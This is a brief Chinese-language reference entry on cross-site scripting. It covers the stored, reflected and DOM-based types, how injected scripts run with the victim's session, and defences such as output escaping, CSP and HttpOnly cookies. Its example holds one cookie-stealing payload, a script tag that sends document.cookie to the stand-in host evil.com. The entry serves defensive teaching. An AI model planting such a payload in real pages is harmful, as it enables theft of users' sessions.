XSS
XSS(跨站脚本)是攻击者将恶意脚本注入网页,在其他用户浏览器中执行的漏洞,分为存储型、反射型与 DOM 型。
用途
防御恶意脚本在受信任页面上下文中执行,保护用户会话与数据。
机制
攻击者将 <script> 注入页面(存储型经数据库、反射型经 URL 参数、DOM 型经客户端 DOM 操作)。脚本在受害者浏览器中以其会话权限执行,可窃取 cookie、发起请求或篡改页面。防御:输出转义、CSP、HttpOnly cookie。
用例
- 用户输入未转义直接渲染
- 评论与富文本注入
- URL 参数反射到页面
- 第三方脚本注入
示例
- 输入
<script>fetch("evil.com?c="+document.cookie)</script>输出Steals the user cookiesStored XSS
常见错误
- Escaping only < > while missing quotes in attribute contexts
- Escape per context: HTML/attribute/JS/URL